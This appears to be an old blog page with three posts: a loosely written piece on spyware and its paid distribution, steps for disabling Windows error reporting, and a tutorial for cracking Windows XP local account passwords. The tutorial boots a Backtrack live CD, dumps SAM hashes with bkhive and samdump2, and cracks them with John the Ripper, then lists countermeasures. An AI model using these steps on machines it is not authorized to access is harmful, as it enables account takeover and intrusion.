Spyware, Riding behind your footsteps !

July 13, 2009

Spyware?What is it?
The new ones to internet may be sometimes getting with spywares and virus programs very often.sometimes it might be very difficult for them to actually find where they had got those spywares, from which source.spywareUsually Spyware follows your Internet surfing habits and serves up advertisements.Users typically get with spyware by clicking on links, or when you download things, actually you might not know that you are downloading also a gifted virus with the original program that you intend to download.There are many irritating problems of these spywares.some of the headaches caused by the spywares are bogged-down Internet connections, identity theft, lost documents, system problems, and potential loss of privacy.

Whats going behind the scenes?

The people distributing the links for spyware downloads are paid about some 10-15 cents every time an unsuspecting surfer clicks on their misleading bait.Yes it is also a business.An illegal business or a way to advertise to you even if you dont want such things.And there are people who earn dollars beacuse of this.The foot soldiers who spread spyware may also become victims of the companies behind the software.Many companies paying individuals to spread spyware post a disclaimer on their own Web site. It often contains a clause telling readers that if they commit fraud, the company has the right to pull their paycheck.However, the new Utah Spyware Control Act and other privacy laws sometimes invoked to combat spyware consider posting spyware to be fraud.The spyware spreaders may not be reading the disclaimer themselves. But they do understand the company is paying them to trick people into downloading software.

Yes you have to adjust with this!

Placing ads online can be a tempting and easy way to make money from home.It’s hard to identify how many companies are engaged in dangerous spyware, or spyware in general.he surreptitious nature of spyware makes it more difficult to track who, where, and how the spyware is disseminated.Hundreds of thousands of dollars a month is generated in this tiered structural referral.Millions people online haven’t still protected their PCs.

Any Solution to spyware?

Ya, there is a simple, effective and a low cost way to defend ourselves from these spywares.Anyone online should have a spyware blocker, spam blocker, and a firewall.If you dont have these just check your system..yeh there is a hidden spyware in your system.

Is these Information helpful to you?If it is please post your comments.


How to Disable dont send error option :

July 13, 2009

One thing that will be annoying most of the windows users is the send error report to microsoft option.Here is the steps to disable that option.dont send error

1.Open Control Panel
2.Click on Preformance and Maintenance.
3.Click on System.
4.Then click on the Advanced tab
5.Click on the error reporting button on the bottom of the windows.
6.Select Disable error reporting.
7.Click OK
If this post is helpful to you,Please post your comments.




Cracking WindowsXP local user password with Backtrack 3

December 8, 2008

Cracking job become easy when Backtrack Linux distro come in place, and it get easier when you want crack password saved in WinXP.

Windows XP stored it username and password information in file named SAM at %SystemDrive%:\Windows\system32\config\. The SAM file is encrypted using LM hashes, which is vulnerable to rainbow table attack and bruteforce attack.

Insert the Backtrack3 CD/USB, make it a live boot up.

When you get into Backtrack 3 Desktop

On the console, type

df *to view the harddisk partition distribution on, you may find your Windows system stored at partition /mnt/hda1 (usually, as used for example here)
cd /mnt/hda1/WINDOWS/system32/config/
bkhive system key *bkhive manual
samdump2 SAM key > ~/Desktop/password.txt *~/Desktop/password.txt is the example location for storing dumped password harsh file
cat ~/Desktop/password.txt

You will see the usersname and the hash values of the SAM file.

There are multiple way to crack the hash (johntheripper, rainbow table, LCP). Over here, we use john the ripper as example.

john ~/Desktop/password.txt –users=Administrator (Administrator is the example user name)

The user Owner has the password “abc123” and the Administrator has no password.

Countermeasure for the attack:

  • Set boot-up password on BIOS to prevent unauthorized live boot up using CD/USB storage media.
  • Secure physical access to the machine. The cardinal rule that physical access equals total access exists for a reason.
  • Use strong passwords. Strong password means combination of alphanumeric(01245…vwxyz) and symbols (!@#$%^&*()_+), at least 8 characters in length, will take much longer time (sometimes may be impossible to crack, like password “%a^&b*&e^$5*45*&^%<%” for medium-size rainbow table) to do its job.